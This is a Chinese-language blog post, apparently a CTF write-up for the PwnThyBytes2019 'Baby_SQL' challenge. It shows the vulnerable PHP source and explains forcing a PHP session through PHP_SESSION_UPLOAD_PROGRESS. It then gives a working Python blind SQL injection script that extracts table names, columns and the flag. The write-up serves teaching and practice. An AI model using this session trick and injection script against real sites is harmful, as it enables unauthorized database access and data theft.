Ricky's Blog


[PwnThyBytes2019]Baby_SQL(包含session的sql注入)
2021-02-05

[PwnThyBytes2019]Baby_SQL

主要考的包含session的sql注入

得到源码, 调用db.php的有 login.phpregister.php

# login.php
<?php

!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);

function auth($user)
{
    $_SESSION['username'] = $user;
    return True;
}

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

?>

# register.php
<?php

!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");

$sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("' . $_POST['username'] . '","' . md5($_POST['password']) . '")';
($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!"));

?>

但是头顶都有一个限制

!isset($_SESSION) AND die("Direct access on this script is not allowed!");

主要看 login.php, 只要存在session, 我们的username的值就可控, 也就是这一部分将会没有任何过滤的可以执行

$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);

如果在php.ini中设置session.auto_start=On,那么PHP每次处理PHP文件的时候都会自动执行session_start(),但是session.auto_start默认为Off。与Session相关的另一个选项叫session.upload_progress.enabled,默认为On,在这个选项被打开的前提下我们在multipart POST的时候传入PHP_SESSION_UPLOAD_PROGRESS,PHP会执行session_start()

然后尝试传入包含 PHP_SESSION_UPLOAD_PROGRESS 包试试看

import requests

url = "http://edd50f7d-dbf9-4275-8016-e80b1d078be4.node3.buuoj.cn/templates/login.php"

files = {"file": "123456789"}
a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
                  cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'},
                  proxies={'http': "http://127.0.0.1:8080"})
print(a.text)

抓包查看如下

POST /?username=test&password=test HTTP/1.1
Host: http://edd50f7d-dbf9-4275-8016-e80b1d078be4.node3.buuoj.cn/templates/login.php
User-Agent: python-requests/2.24.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: PHPSESSID=test1
Content-Length: 266
Content-Type: multipart/form-data; boundary=2a43c2977e4be2d927891df54e475d80

--2a43c2977e4be2d927891df54e475d80
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

123456789
--2a43c2977e4be2d927891df54e475d80
Content-Disposition: form-data; name="file"; filename="file"

123456789
--2a43c2977e4be2d927891df54e475d80--

上传到题目的网站上返回的状态码是200, 因为找不到所以会返回try again, 如果找到了会返回 <meta http-equiv="refresh" content="0; url=?p=home" />

这样我们就可以进行无过滤的sql盲注, 贴上脚本

import requests

# url = "http://edd50f7d-dbf9-4275-8016-e80b1d078be4.node3.buuoj.cn/templates/login.php"

files = {"file": "123456789"}
result = ''

# flag_tbl,ptbctf
# secret

for i in range(1,1000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            # payload = 'test" or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0)#'.format(i, mid)
            # payload = 'test" or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x666c61675f74626c),{},1))>{},1,0)#'.format(i, mid)
            payload = 'test" or if(ascii(substr((select group_concat(secret) from flag_tbl),{},1))>{},1,0)#'.format(i, mid)
            a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
                                cookies={"PHPSESSID": "test1"},
                                params={'username': payload, 'password': 'test'},
                                proxies={'http': "http://127.0.0.1:8080"})
            if 'again' not in a.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        result += chr(mid)
        print(result)

print('[*]Result: ' + result)

Leave your footprints

  • [*] Admin need to check, please send and wait :) Send
  • Looking forward to your comment :)
  • CTF, AWD, Knowledge Writed By Ricky   粤ICP备2021008996号 Powered by WP && Designed by Rytia && Modified by Ricky
    返回顶部